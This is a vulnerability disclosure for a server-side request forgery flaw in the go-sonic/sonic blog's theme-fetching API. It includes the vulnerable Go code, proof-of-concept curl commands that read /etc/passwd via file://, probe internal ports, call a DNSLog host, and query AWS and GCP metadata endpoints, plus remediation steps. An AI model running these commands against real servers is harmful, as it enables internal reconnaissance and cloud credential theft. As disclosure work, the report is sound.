Logo Server-Side Request Forgery (SSRF) Vulnerability in go-sonic/sonic

Server-Side Request Forgery (SSRF) Vulnerability in go-sonic/sonic

Server-Side Request Forgery (SSRF) Vulnerability in go-sonic/sonic#

BUG_Author: Security Researcher

Affected Version: go-sonic/sonic ≤ v1.1.4 (all versions)

Vendor: go-sonic GitHub Repository

Software: Sonic - A Go Blogging Platform

Vulnerability Files:

  • service/theme/git_fetcher.go

  • handler/admin/theme.go


Description:#

A Server-Side Request Forgery (SSRF) vulnerability exists in the theme fetching functionality of go-sonic/sonic blogging platform. The vulnerability allows an authenticated administrator to make the server send HTTP requests to arbitrary internal or external URLs, and read local files via the file:// protocol.

  1. SSRF via Theme Fetching API:

    • In the file service/theme/git_fetcher.go, the FetchTheme function accepts a user-supplied URL and directly passes it to the git.PlainClone function without any validation or sanitization.

    • The vulnerable code:

      func (g gitThemeFetcherImpl) FetchTheme(ctx context.Context, file interface{}) (*dto.ThemeProperty, error) {
         gitURL := file.(string)  // User-controlled input
         // ...
         _, err := git.PlainClone(filepath.Join(tempDir, themeDirName), false, &git.CloneOptions{
             URL: gitURL,  // Directly used without validation
        })
  2. Exploitation Vectors:

    • Internal Network Scanning: Attacker can probe internal services by specifying internal IP addresses

    • Local File Access: Using file:// protocol to access local files on the server

    • Cloud Metadata Access: In cloud environments (AWS/GCP/Azure), attacker can access instance metadata endpoints

    • DNS-based Detection: Attacker can use DNSLog services to confirm outbound requests

  3. Prerequisites:

    • Valid administrator credentials are required

    • The vulnerable endpoint requires authentication via Admin-Authorization header


Affected Endpoint:#

POST /api/admin/themes/fetching?uri={ATTACKER_CONTROLLED_URL}

Required Headers:

Admin-Authorization: <admin_access_token>

Proof of Concept:#

Step 1: Obtain Administrator Access Token#

curl -s -X POST http://<target-ip>:8090/api/admin/login \
 -H "Content-Type: application/json" \
 -d '{"username":"admin","password":"<password>"}'

Response:

{
 "status": 200,
 "message": "OK",
 "data": {
   "access_token": "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx",
   "expired_in": 86400,
   "refresh_token": "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"
}
}

Step 2: SSRF - Local File Access (file:// protocol)#

TOKEN="<access_token_from_step1>"

# Attempt to read /etc/passwd
curl -X POST "http://<target-ip>:8090/api/admin/themes/fetching?uri=file:///etc/passwd" \
 -H "Admin-Authorization: $TOKEN"

Response (File Exists):

{
 "status": 400,
 "message": "unknown error: fatal: invalid gitfile format: /etc/passwd",
 "data": null
}

Response (File Does Not Exist):

{
 "status": 400,
 "message": "repository not found",
 "data": null
}

The different error messages confirm that the server is accessing the specified file paths.

Step 3: SSRF - Internal Network Probing (http:// protocol)#

# Probe internal service on port 6379 (Redis)
curl -X POST "http://<target-ip>:8090/api/admin/themes/fetching?uri=http://127.0.0.1:6379/" \
 -H "Admin-Authorization: $TOKEN"

# Probe internal network
curl -X POST "http://<target-ip>:8090/api/admin/themes/fetching?uri=http://192.168.1.1:8080/" \
 -H "Admin-Authorization: $TOKEN"

Step 4: SSRF - DNSLog Verification#

# Using DNSLog service to confirm outbound requests
curl -X POST "http://<target-ip>:8090/api/admin/themes/fetching?uri=http://<your-subdomain>.dnslog.cn/" \
 -H "Admin-Authorization: $TOKEN"

Check your DNSLog platform - if you see a DNS query record, the SSRF is confirmed.

Step 5: SSRF - Cloud Metadata Access (Cloud Environments)#

# AWS Instance Metadata
curl -X POST "http://<target-ip>:8090/api/admin/themes/fetching?uri=http://169.254.169.254/latest/meta-data/" \
 -H "Admin-Authorization: $TOKEN"

# GCP Metadata
curl -X POST "http://<target-ip>:8090/api/admin/themes/fetching?uri=http://metadata.google.internal/computeMetadata/v1/" \
 -H "Admin-Authorization: $TOKEN"

Server Log Evidence:#

The server logs clearly show the SSRF requests being processed:

2025-12-19T15:58:46.163+0800  ERROR  handler/server.go:232  handler error
{"error": "unknown error: fatal: invalid gitfile format: /etc/hostname"}

2025-12-19T15:59:44.896+0800 ERROR handler/server.go:232 handler error
{"error": "Get \"http://127.0.0.1:7777/SSRF_PROOF/info/refs?service=git-upload-pack\":
dial tcp 127.0.0.1:7777: connect: connection refused"}

This confirms the server is making requests to the attacker-specified URLs.

Affected Versions:#

  • All versions of go-sonic/sonic up to and including v1.1.4

  • Tested on: v1.1.4 (latest release, December 2025)


Remediation:#

  1. URL Validation: Implement strict URL validation to allow only trusted domains

    func validateThemeURL(url string) error {
       allowedHosts := []string{"github.com", "gitlab.com"}
       // Validate URL against whitelist
    }
  2. Protocol Restriction: Block file:// and other dangerous protocols

    if strings.HasPrefix(url, "file://") {
       return errors.New("file:// protocol not allowed")
    }
  3. Private IP Blocking: Block requests to internal IP ranges

    // Block 10.x.x.x, 172.16-31.x.x, 192.168.x.x, 127.x.x.x, 169.254.x.x
  4. DNS Rebinding Protection: Resolve DNS before making request and validate IP


 

Last updated on